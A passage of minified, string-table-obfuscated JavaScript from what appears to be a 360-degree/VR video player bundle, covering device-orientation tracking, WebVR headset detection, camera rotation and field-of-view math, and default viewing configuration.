r[726]===u[r[713]][r[716]][r[152]]?(t[r[588]]=n[r[727]]||n[r[729]][r[728]],t[r[644]]=n[r[730]]||n[r[729]][r[731]]):r[732]===u[r[713]][r[716]][r[152]]?(t[r[588]]=n[r[733]][0][r[727]],t[r[644]]=n[r[733]][0][r[730]]):(t[r[588]]=n[r[727]],t[r[644]]=n[r[730]]),t[r[588]]=t[r[588]]||0,t[r[644]]=t[r[644]]||0,t},t}(i(68978)[r[654]]);t[r[702]]=o},10755:function(n,t){var f,e,i,u,o,s;r[0];i=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[555]]=t[r[551]]=t[r[554]]=t[r[507]]=t[r[454]]=void 0,function(n){n[n[r[453]]=0]=r[453];n[n[r[515]]=1]=r[515];n[n[r[734]]=1280]=r[734];n[n[r[735]]=1286]=r[735];n[n[r[736]]=1282]=r[736];n[n[r[630]]=1281]=r[630]}(f||(t[r[454]]=f={}));t[r[507]]={1280:r[734],1286:r[735],1282:r[736],1281:r[630]},function(n){n[r[553]]=r[737];n[r[559]]=r[738];n[r[561]]=r[739];n[r[563]]=r[740];n[r[566]]=r[741]}(e||(t[r[554]]=e={}));u=function(){function n(n,t,i,u){this[r[742]]=n;this[r[459]]=t;this[r[250]]=i;this[r[152]]=u}return Object[r[2]](n[r[172]],r[612],{get:function(){return this[r[743]]},enumerable:!1,configurable:!0}),n}();o=function(n){function t(t,i,u,f){var e=n[r[649]](this,t,i,u,f)||this;return e[r[743]]=e[r[742]][r[744]](e[r[459]],e[r[250]]),e[r[742]][r[745]](e[r[250]]),e}return i(t,n),t[r[172]][r[609]]=function(){},t}(u);t[r[551]]=o;s=function(n){function t(t,i,u,f){var e=n[r[649]](this,t,i,u,f)||this;return e[r[743]]=e[r[742]][r[746]](e[r[459]],e[r[250]]),e[r[742]][r[745]](e[r[250]]),e}return i(t,n),t[r[172]][r[609]]=function(n){this[r[152]][r[167]](r[747])>-1?this[r[742]][this[r[152]]][r[649]](this[r[742]],this[r[743]],!1,n):this[r[742]][this[r[152]]][r[649]](this[r[742]],this[r[743]],n)},t}(u);t[r[555]]=s},5431:function(n,t,i){var e,f,u,o,s;r[0];e=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[748]]=void 0;u=i(83549);o=i(93056);!function(n){n[r[749]]=r[750];n[r[751]]=r[752]}(f||(f={}));s=function(n){function t(){var i=n[r[649]](this)||this,u;i[r[754]]=null;i[r[755]]=null;i[r[756]]=null;i[r[757]]=0;i[r[758]]=0;i[r[759]]=function(n){var t=void 0!==n[r[760]]&&null!==n[r[760]],u=void 0!==n[r[761]]&&null!==n[r[761]],f=void 0!==n[r[762]]&&null!==n[r[762]];t&&u&&f&&(i[r[754]]=n[r[760]],i[r[755]]=n[r[762]],i[r[756]]=n[r[761]]);n[r[248]](r[757])&&(i[r[757]]=i[r[763]](n))};i[r[764]]=function(){i[r[759]](t[r[765]]())};i[r[766]]=function(n){n&&n[r[586]]&&i[r[759]](n[r[586]])};window[r[32]]!==window?window[r[334]](r[601],i[r[766]],!1):window[r[334]](r[767],i[r[759]]);try{window[r[334]](r[768],i[r[764]]);u=t[r[765]]();i[r[759]](u)}catch(n){window[r[310]](r[768],i[r[764]])}return i[r[491]](),i}return e(t,n),t[r[172]][r[769]]=function(){var h;if(!this[r[770]]()||!this[r[665]])return this[r[771]];var c=u[r[178]][r[180]](this[r[754]])/2,l=u[r[178]][r[180]](this[r[756]])/2,a=u[r[178]][r[180]](this[r[755]])/2,n=Math[r[221]](l),t=Math[r[221]](a),i=Math[r[221]](c),f=Math[r[220]](l),e=Math[r[220]](a),o=Math[r[220]](c),y=n*t*i-f*e*o,p=f*t*i-n*e*o,w=n*e*i+f*t*o,b=n*t*o+f*e*i,k=u[r[206]][r[225]](p,w,b,y),v=u[r[178]][r[180]](this[r[772]]())/2,d=u[r[206]][r[225]](0,0,-Math[r[220]](v),Math[r[221]](v)),s=u[r[206]][r[216]]();return u[r[206]][r[222]](s,k,d),h=Math[r[211]](.5),u[r[206]][r[222]](s,u[r[206]][r[225]](-h,0,0,h),s),u[r[206]][r[226]](s)},t[r[172]][r[770]]=function(){return null!==this[r[754]]},t[r[773]]=function(){return!!window[r[774]]},t[r[172]][r[772]]=function(){return this[r[757]]},t[r[172]][r[763]]=function(n){var t;switch(n[r[757]][r[152]]){case r[775]:t=90;break;case r[776]:t=-90;break;case r[777]:t=180;break;case r[778]:t=0}return!t&&isNaN(t)&&(t=isNaN(n[r[757]][r[152]])?n[r[779]]||0:n[r[757]][r[152]]),window[r[32]]!==window&&t===this[r[758]]&&n[r[779]]!==t&&(t=n[r[779]]||0),t},t[r[765]]=function(){var n=window[r[144]],t=n[r[779]]||n[r[780]]||n[r[781]]||{};return{screenOrientation:{type:t[r[152]]||t,angle:t[r[782]]},orientation:window[r[779]]}},t[r[172]][r[436]]=function(){return r[217]!=typeof DeviceMotionEvent&&r[509]==typeof DeviceMotionEvent[r[438]]},t[r[172]][r[438]]=function(){return r[217]==typeof DeviceMotionEvent||r[509]!=typeof DeviceMotionEvent[r[438]]?Promise[r[439]]():DeviceMotionEvent[r[438]]()[r[784]](function(n){return n===f[r[749]]?Promise[r[439]]():Promise[r[783]]()})},t}(o[r[753]]);t[r[748]]=s},93056:function(n,t){r[0];Object[r[2]](t,r[1],{value:!0});t[r[753]]=void 0;var i=function(){function n(){this[r[785]]={upDegrees:45,rightDegrees:55,downDegrees:45,leftDegrees:55};this[r[771]]={yaw:0,pitch:0,roll:0}}return n[r[172]][r[786]]=function(){return this[r[785]]},n[r[773]]=function(){return!1},n[r[172]][r[491]]=function(){this[r[665]]=!0},n[r[172]][r[493]]=function(){this[r[665]]=!1},n[r[172]][r[666]]=function(){return this[r[665]]},n[r[172]][r[436]]=function(){return!1},n[r[172]][r[438]]=function(){return Promise[r[439]]()},n}();t[r[753]]=i},68856:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[787]]=void 0;var u=i(5431),e=i(14985),f=i(62886),o=function(){function n(){}return n[r[640]]=function(){return f[r[788]][r[773]]()?new f[r[788]]:u[r[748]][r[773]]()?new u[r[748]]:new e[r[789]]},n}();t[r[787]]=o},34081:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[656]]=void 0;var e=i(70016),u=Math[r[209]]/180,f=180/Math[r[209]],o=function(){function n(n,t,i,u){void 0===n&&(n=0);void 0===t&&(t=0);void 0===i&&(i=0);void 0===u&&(u=!1);this[r[790]]=null;this[r[301]](n,t,i,u)}return Object[r[2]](n[r[172]],r[588],{get:function(){return this[r[791]]},set:function(n){this[r[791]]!==n&&this[r[301]](n,this[r[792]],this[r[793]])},enumerable:!1,configurable:!0}),Object[r[2]](n[r[172]],r[644],{get:function(){return this[r[792]]},set:function(n){this[r[792]]!==n&&this[r[301]](this[r[791]],n,this[r[793]])},enumerable:!1,configurable:!0}),Object[r[2]](n[r[172]],r[645],{get:function(){return this[r[793]]},set:function(n){this[r[793]]!==n&&this[r[301]](this[r[791]],this[r[792]],n)},enumerable:!1,configurable:!0}),Object[r[2]](n[r[172]],r[760],{get:function(){return this[r[794]]},set:function(n){this[r[794]]!==n&&this[r[301]](this[r[795]]*Math[r[221]](n*u),this[r[795]]*Math[r[220]](n*u),this[r[793]])},enumerable:!1,configurable:!0}),Object[r[2]](n[r[172]],r[5],{get:function(){return this[r[795]]},set:function(n){this[r[795]]!==n&&this[r[301]](n*Math[r[221]](this[r[794]]*u),n*Math[r[220]](this[r[794]]*u),this[r[793]])},enumerable:!1,configurable:!0}),Object[r[2]](n[r[172]],r[669],{get:function(){return this[r[673]]},enumerable:!1,configurable:!0}),Object[r[2]](n[r[172]],r[796],{get:function(){return this[r[790]]||0},set:function(n){this[r[790]]=n},enumerable:!1,configurable:!0}),n[r[172]][r[301]]=function(n,t,i,u,o){if(void 0===i&&(i=0),r[36]==typeof u&&(this[r[673]]=u),e[r[797]](o)&&(this[r[790]]=o),this[r[791]]!==n||this[r[792]]!==t||this[r[793]]!==i){if(this[r[791]]=Math[r[202]](n)<.0001?0:n,this[r[792]]=Math[r[202]](t)<.0001?0:t,this[r[793]]=Math[r[202]](i)<.0001?0:i,0===this[r[791]]&&0===this[r[792]]&&0===this[r[793]])return this[r[795]]=0,void(this[r[794]]=0);this[r[795]]=Math[r[211]](this[r[791]]*this[r[791]]+this[r[792]]*this[r[792]]);this[r[794]]=0===this[r[792]]&&this[r[791]]>=0?0:0===this[r[791]]&&this[r[792]]>0?90:0===this[r[791]]&&this[r[792]]<0?270:this[r[791]]<0&&0===this[r[792]]?180:this[r[791]]>0&&this[r[792]]>0?Math[r[176]](this[r[792]]/this[r[791]])*f:this[r[791]]<0&&this[r[792]]>0||this[r[791]]<0&&this[r[792]]<0?180+Math[r[176]](this[r[792]]/this[r[791]])*f:this[r[791]]>0&&this[r[792]]<0?360+Math[r[176]](this[r[792]]/this[r[791]])*f:0}},n[r[172]][r[663]]=function(n,t,i){this[r[301]](n[r[588]],n[r[644]],n[r[645]],t,i)},n[r[172]][r[449]]=function(){for(var t,i=[],n=0;n<arguments[r[5]];n++)i[n]=arguments[n];for(var f=this[r[791]],e=this[r[792]],o=this[r[793]],u=0,s=i;u<s[r[5]];u++)t=s[u],f+=t[r[791]],e+=t[r[792]],o+=t[r[793]];this[r[301]](f,e,o)},n[r[172]][r[798]]=function(t,i){i instanceof n?this[r[301]](i[r[588]]-t[r[588]],i[r[644]]-t[r[644]],i[r[645]]-t[r[645]]):this[r[301]](t[r[588]]-this[r[791]],t[r[644]]-this[r[792]],t[r[645]]-this[r[793]])},n[r[661]]=function(t,i){t instanceof n&&i instanceof n&&i[r[301]](t[r[791]],t[r[792]],t[r[793]],t[r[673]],t[r[790]])},n[r[172]][r[799]]=function(n){this[r[5]]=this[r[795]]*n},n}();t[r[656]]=o},14985:function(n,t,i){var u,f;r[0];u=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[789]]=void 0;f=function(n){function t(){var t=n[r[649]](this)||this;return t[r[491]](),t}return u(t,n),t[r[172]][r[769]]=function(){return this[r[771]]},t[r[172]][r[770]]=function(){return!0},t[r[773]]=function(){return!0},t}(i(93056)[r[753]]);t[r[789]]=f},33083:function(n,t,i){var h;r[0];Object[r[2]](t,r[1],{value:!0});t[r[388]]=void 0;var u,f=i(83549),o=i(62510),c=i(46446),l=i(86741),a=i(41775),e=i(7716),v=i(68856),s=i(34081);!function(n){n[r[800]]=r[801];n[r[802]]=r[803];n[r[804]]=r[804]}(u||(u={}));h=function(){function n(n,t,i,o,h){var y=this;this[r[560]]=null;this[r[805]]=null;this[r[455]]=1;this[r[806]]=null;this[r[807]]=null;this[r[808]]=null;this[r[809]]=null;this[r[810]]=null;this[r[811]]=null;this[r[812]]=null;this[r[321]]=function(){y[r[813]][r[491]]()};this[r[322]]=function(){y[r[813]][r[493]]()};this[r[323]]=function(){return y[r[813]][r[666]]()};this[r[324]]=function(){y[r[814]][r[491]]()};this[r[325]]=function(){y[r[814]][r[493]]()};this[r[326]]=function(){return y[r[814]][r[666]]()};this[r[327]]=function(){y[r[815]][r[491]]()};this[r[328]]=function(){y[r[815]][r[493]]()};this[r[329]]=function(){return y[r[815]][r[666]]()};this[r[278]]=n;this[r[348]]=i;this[r[300]]=h;this[r[813]]=v[r[787]][r[640]]();this[r[809]]=f[r[208]][r[216]]();this[r[810]]=f[r[208]][r[216]]();this[r[811]]=f[r[208]][r[216]]();this[r[806]]=f[r[208]][r[216]]();this[r[560]]=f[r[208]][r[216]]();this[r[455]]=this[r[348]][r[284]]?2:1;this[r[808]]={yaw:0,pitch:0,roll:0};this[r[808]][r[641]]=this[r[348]][r[816]];this[r[657]]=new s[r[656]];this[r[817]]=new s[r[656]];this[r[807]]={yaw:this[r[808]][r[641]],pitch:0,roll:0};this[r[660]]=this[r[348]][r[660]];this[r[818]]=this[r[348]][r[818]];this[r[819]]=this[r[348]][r[819]];this[r[820]]=this[r[348]][r[820]];this[r[821]]=this[r[819]]>-1;this[r[822]]=this[r[820]]>-1;this[r[823]]=1;this[r[824]]=0;this[r[825]]=!1;this[r[815]]=new l[r[667]](this[r[348]][r[815]],o);this[r[814]]=new a[r[702]](this[r[348]][r[814]],o,t,this[r[278]]);this[r[826]]=new c[r[653]](this[r[348]][r[826]],o,this[r[660]]);this[r[827]]=e[r[828]][r[640]](this[r[348]][r[815]]);this[r[829]]=e[r[828]][r[640]](this[r[348]][r[814]]);this[r[830]]=e[r[828]][r[640]](this[r[348]][r[826]]);this[r[831]]=this[r[819]]>-1&&this[r[820]]>-1?u[r[804]]:this[r[820]]>-1?u[r[802]]:u[r[800]]}return n[r[832]]=function(n,t,i){return 0===t&&360===i?n%360:n>i?i:n<t?t:n},n[r[833]]=function(t,i){var u={yaw:0,pitch:0,roll:t[r[643]]};return u[r[641]]=n[r[832]](t[r[641]],i[r[834]],i[r[835]]),u[r[642]]=n[r[832]](t[r[642]],i[r[836]],i[r[837]]),u},n[r[172]][r[838]]=function(t){void 0===t&&(t={yaw:0,pitch:0,roll:0});null!==this[r[812]]&&(this[r[812]]=n[r[833]](this[r[812]],this[r[348]][r[839]]),this[r[808]][r[641]]=this[r[812]][r[641]]-t[r[641]],this[r[808]][r[642]]=this[r[812]][r[642]]-t[r[642]],this[r[808]][r[643]]=this[r[812]][r[643]]-t[r[643]],this[r[829]][r[840]](),this[r[827]][r[840]](),this[r[830]][r[840]]());this[r[812]]=null;this[r[807]][r[641]]=this[r[808]][r[641]]+t[r[641]];this[r[807]][r[642]]=this[r[808]][r[642]]+t[r[642]];this[r[807]][r[643]]=this[r[808]][r[643]]+t[r[643]];this[r[807]]=n[r[833]](this[r[807]],this[r[348]][r[839]]);f[r[208]][r[218]](this[r[806]]);f[r[208]][r[219]](this[r[806]],f[r[178]][r[180]](this[r[807]][r[641]]+180),[0,1,0]);f[r[208]][r[219]](this[r[806]],f[r[178]][r[180]](this[r[807]][r[642]]),[1,0,0]);f[r[208]][r[219]](this[r[806]],f[r[178]][r[180]](this[r[807]][r[643]]),[0,0,1])},n[r[172]][r[306]]=function(){return this[r[560]]},n[r[172]][r[423]]=function(){return this[r[807]]},n[r[172]][r[330]]=function(n){this[r[812]]=n},n[r[172]][r[429]]=function(n){this[r[821]]=-1!==n;this[r[819]]=-1===n?-1:Math[r[145]](Math[r[147]](180,n),0);-1===n&&this[r[831]]===u[r[804]]?this[r[831]]=u[r[802]]:this[r[831]]===u[r[802]]&&(this[r[831]]=this[r[822]]?u[r[804]]:u[r[800]])},n[r[172]][r[430]]=function(){return this[r[819]]/this[r[823]]},n[r[172]][r[431]]=function(n){this[r[822]]=-1!==n;this[r[820]]=-1===n?-1:Math[r[145]](Math[r[147]](180,n),0);-1===n&&this[r[831]]===u[r[804]]?this[r[831]]=u[r[800]]:this[r[831]]===u[r[800]]&&(this[r[831]]=this[r[821]]?u[r[804]]:u[r[802]])},n[r[172]][r[432]]=function(){return this[r[820]]/this[r[823]]},n[r[172]][r[433]]=function(n){return!!isFinite(n)&&(this[r[823]]=Math[r[145]](Number(n),1e-10),!0)},n[r[172]][r[434]]=function(){return this[r[823]]},n[r[172]][r[841]]=function(){var n,t,e=this[r[813]][r[786]](),o=[1],i,s;this[r[819]]<0&&(this[r[819]]=e[r[191]]+e[r[190]]);this[r[820]]<0&&(this[r[820]]=e[r[188]]+e[r[189]]);this[r[831]]!==u[r[804]]&&this[r[831]]!==u[r[802]]||o[r[241]](180/(this[r[820]]/this[r[823]]));this[r[831]]!==u[r[804]]&&this[r[831]]!==u[r[800]]||o[r[241]](180/(this[r[819]]/this[r[823]]));this[r[823]]/=Math[r[147]][r[237]](null,o);i=f[r[178]][r[180]](this[r[819]]/this[r[823]]);s=f[r[178]][r[180]](this[r[820]]/this[r[823]]);this[r[831]]===u[r[804]]?(n=i,t=Math[r[181]](.5*s)/Math[r[181]](.5*i)):t=this[r[278]][r[134]]/this[r[455]]/this[r[278]][r[136]];this[r[831]]===u[r[802]]?(n=2*Math[r[176]](Math[r[181]](s/2)/t),this[r[819]]=f[r[178]][r[177]](n)*this[r[823]]):this[r[831]]===u[r[800]]&&(n=i,this[r[820]]=f[r[178]][r[177]](2*Math[r[176]](t*Math[r[181]](i/2)))/this[r[455]]*this[r[823]]);f[r[208]][r[223]](this[r[811]],n,t,.1,10);f[r[208]][r[224]](this[r[809]],this[r[811]]);f[r[208]][r[222]](this[r[560]],this[r[806]],this[r[809]])},n[r[172]][r[301]]=function(t){var e,s;this[r[805]]=this[r[805]]||t;for(var u=(t-this[r[805]])/1e3,h=f[r[208]][r[216]](),i=0;i<this[r[560]][r[5]];i++)h[i]=this[r[560]][i];for(this[r[824]]+=u,this[r[657]][r[301]](0,0,0),u>0&&this[r[657]][r[449]](this[r[829]][r[237]](this[r[814]][r[659]](u)),this[r[827]][r[237]](this[r[815]][r[659]](u)),this[r[830]][r[237]](this[r[826]][r[659]](u))),this[r[808]][r[641]]+=this[r[657]][r[588]],this[r[808]][r[642]]+=this[r[657]][r[644]],this[r[808]][r[643]]+=this[r[657]][r[645]],this[r[808]]=n[r[833]](this[r[808]],this[r[348]][r[839]]),this[r[805]]=t,this[r[813]][r[770]]()?this[r[838]](this[r[813]][r[769]]()):this[r[838]](),this[r[817]][r[449]](this[r[657]]),e=Math[r[202]](this[r[817]][r[5]])>this[r[818]]||Math[r[202]](this[r[817]][r[645]])>this[r[818]],e||this[r[825]]||(this[r[824]]=0),s=this[r[824]]>=this[r[660]],!e||!s&&this[r[825]]?s&&this[r[825]]&&(this[r[825]]=!1,this[r[817]][r[301]](0,0,0),this[r[824]]=0,this[r[300]][r[299]]()(o[r[298]][r[842]],{direction:this[r[807]]})):(this[r[825]]=!0,this[r[824]]=0,this[r[817]][r[301]](0,0,0),this[r[300]][r[299]]()(o[r[298]][r[843]],{direction:this[r[807]]})),this[r[841]](),i=0;i<this[r[560]][r[5]];i++)if(h[i]!==this[r[560]][i])return!0;return!1},n[r[172]][r[418]]=function(){this[r[455]]=2},n[r[172]][r[419]]=function(){this[r[455]]=1},n[r[172]][r[424]]=function(n){this[r[826]][r[662]](n)},n[r[172]][r[425]]=function(n){this[r[660]]=n},n[r[172]][r[426]]=function(){return this[r[660]]},n[r[172]][r[427]]=function(n){this[r[818]]=n},n[r[172]][r[428]]=function(){return this[r[818]]},n[r[172]][r[436]]=function(){return this[r[813]][r[436]]()},n[r[172]][r[438]]=function(){return this[r[813]][r[438]]()},n[r[172]][r[335]]=function(){this[r[815]][r[664]]();this[r[814]][r[664]]();this[r[815]]=null;this[r[814]]=null},n}();t[r[388]]=h},62886:function(n,t,i){var u,f,e;r[0];u=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[788]]=void 0;f=i(83549);e=function(n){function t(){var t=n[r[649]](this)||this;return t[r[844]]=null,t[r[845]]=null,t[r[846]]=function(n){for(var i=0;i<n[r[5]];++i)if(n[i]instanceof HMDVRDevice){t[r[844]]=n[i];break}if(t[r[844]])for(i=0;i<n[r[5]];++i)if(n[i]instanceof PositionSensorVRDevice&&n[i][r[847]]===t[r[844]][r[847]]){t[r[845]]=n[i];break}},navigator[r[848]]&&navigator[r[848]]()[r[784]](t[r[846]]),t[r[491]](),t}return u(t,n),t[r[172]][r[769]]=function(){if(this[r[770]]()&&this[r[665]]){var n=this[r[845]][r[421]](),t=new Float32Array([0,0,0,0]);return null!==n&&n[r[779]]&&(t=new Float32Array([n[r[779]][r[588]],n[r[779]][r[644]],n[r[779]][r[849]],n[r[779]][r[692]]])),f[r[206]][r[226]](t)}return this[r[771]]},t[r[172]][r[786]]=function(){return this[r[770]]()?this[r[844]][r[851]](r[686])[r[850]]:this[r[785]]},t[r[172]][r[770]]=function(){return null!==this[r[845]]&&null!==this[r[844]]},t[r[773]]=function(){return!!navigator[r[848]]},t}(i(93056)[r[753]]);t[r[788]]=e},89099:function(n,t,i){var f;r[0];f=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[852]]=void 0;var e=i(83549),u=i(34081),o=function(n){function t(t){var i=n[r[649]](this,t)||this;return i[r[657]]=new u[r[656]],i[r[854]]=new u[r[656]],i[r[655]]=new u[r[656]],i[r[855]]=new u[r[656]],i[r[856]]=new u[r[656]],i[r[857]]=0,i[r[858]]=0,i}return f(t,n),t[r[172]][r[859]]=function(){var n=isFinite(this[r[655]][r[796]]),t=this[r[655]][r[796]]>0;return n&&t},t[r[172]][r[237]]=function(n){if(this[r[655]][r[796]]=n[r[796]],u[r[656]][r[661]](n,this[r[856]]),u[r[656]][r[661]](this[r[655]],this[r[855]]),this[r[856]][r[5]]/=this[r[856]][r[796]],this[r[855]][r[5]]/=this[r[855]][r[796]],this[r[856]][r[645]]/=this[r[856]][r[796]],this[r[855]][r[645]]/=this[r[855]][r[796]],this[r[856]][r[798]](this[r[855]]),this[r[856]][r[5]]>0&&(this[r[857]]=this[r[856]][r[5]]/this[r[348]][r[860]]),0!==Math[r[202]](this[r[856]][r[645]])&&(this[r[858]]=Math[r[202]](this[r[856]][r[645]])/this[r[348]][r[860]]),u[r[656]][r[661]](n,this[r[655]]),!this[r[859]]())return u[r[656]][r[661]](this[r[655]],this[r[657]]),this[r[655]];this[r[854]][r[798]](this[r[657]],this[r[655]]);var t=Math[r[147]](this[r[857]]*this[r[655]][r[796]]*this[r[655]][r[796]],this[r[348]][r[691]]),i=Math[r[147]](this[r[858]]*this[r[655]][r[796]]*this[r[655]][r[796]],this[r[348]][r[691]]);return this[r[854]][r[5]]>t&&(this[r[854]][r[5]]=t),Math[r[202]](this[r[854]][r[645]])>i&&(this[r[854]][r[645]]=e[r[178]][r[215]](this[r[854]][r[645]])*i),this[r[657]][r[449]](this[r[854]]),this[r[657]]},t[r[172]][r[840]]=function(){this[r[657]][r[301]](0,0,0);this[r[854]][r[301]](0,0,0);this[r[655]][r[301]](0,0,0);this[r[857]]=0;this[r[858]]=0},t}(i(41772)[r[853]]);t[r[852]]=o},58269:function(n,t,i){var u,f;r[0];u=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[861]]=void 0;f=function(n){function t(){return null!==n&&n[r[237]](this,arguments)||this}return u(t,n),t[r[172]][r[859]]=function(){var n=isFinite(this[r[655]][r[796]]),t=this[r[655]][r[796]]>0,i=this[r[655]][r[669]];return n&&t&&i},t}(i(89099)[r[852]]);t[r[861]]=f},27318:function(n,t,i){var u,f;r[0];u=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[862]]=void 0;f=function(n){function t(){return null!==n&&n[r[237]](this,arguments)||this}return u(t,n),t[r[172]][r[859]]=function(){var n=isFinite(this[r[655]][r[796]]),t=this[r[655]][r[796]]>0,i=this[r[655]][r[669]];return n&&t&&!i},t}(i(89099)[r[852]]);t[r[862]]=f},63803:function(n,t,i){var u,f;r[0];u=this&&this[r[646]]||function(){var n=function(t,i){return n=Object[r[647]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[648]]=t}||function(n,t){for(var i in t)Object[r[172]][r[248]][r[649]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[652]]=t}if(r[509]!=typeof i&&null!==i)throw new TypeError(r[650]+String(i)+r[651]);n(t,i);t[r[172]]=null===i?Object[r[216]](i):(u[r[172]]=i[r[172]],new u)}}();Object[r[2]](t,r[1],{value:!0});t[r[863]]=void 0;f=function(n){function t(){return null!==n&&n[r[237]](this,arguments)||this}return u(t,n),t[r[172]][r[237]]=function(n){return n},t[r[172]][r[840]]=function(){},t}(i(41772)[r[853]]);t[r[863]]=f},41772:function(n,t){r[0];Object[r[2]](t,r[1],{value:!0});t[r[853]]=void 0;t[r[853]]=function(n){this[r[348]]=n}},7716:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[828]]=void 0;var u=i(29328),f=i(89099),e=i(58269),o=i(27318),s=i(63803),h=function(){function n(){}return n[r[640]]=function(n){switch(n[r[864]]){case u[r[253]][r[270]]:return new s[r[863]](n);case u[r[253]][r[271]]:return new e[r[861]](n);case u[r[253]][r[273]]:return new o[r[862]](n);case u[r[253]][r[275]]:return new f[r[852]](n)}},n}();t[r[828]]=h},79248:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[636]]=void 0;var u=i(29328),f={contentType:u[r[255]][r[256]],stereo:!1,startPosition:0,contentFieldOfView:360,verticalFieldOfView:-1,horizontalFieldOfView:-1,viewingWindow:{minYaw:0,maxYaw:360,minPitch:-90,maxPitch:90},restrictedInlinePlayback:!1,enableFrameRateMeasurements:!1,cardboard:null,viewingDirectionChangeThreshold:5,viewingDirectionChangeEventInterval:.25,keyboardControl:{transitionTimingType:u[r[253]][r[275]],transitionTime:.25,maxDisplacementSpeed:90,keyMap:{up:[r[692]],right:[r[695]],down:[r[693]],left:[r[694]],rotateClockwise:[r[696]],rotateCounterclockwise:[r[697]]}},mouseControl:{transitionTimingType:u[r[253]][r[273]],transitionTime:.25,maxDisplacementSpeed:1/0},apiControl:{transitionTimingType:u[r[253]][r[275]],transitionTime:.25,maxDisplacementSpeed:1/0}},e=function(){function n(){}return n[r[865]]=function(n,t){for(var i,c=t[r[676]](r[866]),o=!0,u=n,e=f,s=0,h=c;s<h[r[5]];s++)i=h[s],u[r[248]](i)&&o?u=u[i]:o=!1,e[r[248]](i)&&(e=e[i]);return[o,u,e]},n[r[867]]=function(t,i,u,f){var e=n[r[865]](t,i),c=e[0],o=e[1],l=e[2],s=!0,h;if(f)for(h in f){if(f[r[248]](h)&&f[h]===o){s=!0;break}s=!1}return c&&typeof o===u&&s?o:l},n[r[868]]=function(t,i,u){var e=n[r[865]](t,i),o=e[0],f=e[1],s=e[2];return o&&r[251]==typeof f&&f instanceof Array&&!f[r[671]](function(n){return typeof n!==u})?f:s},n[r[869]]=function(t,i,u){return n[r[867]](t,i,r[23],u)},n[r[870]]=function(t,i,u){return n[r[867]](t,i,r[23],u)},n[r[871]]=function(t,i,u){return n[r[867]](t,i,r[36],u)},n[r[872]]=function(t,i,u){return n[r[867]](t,i,r[873],u)},n[r[874]]=function(t,i){return 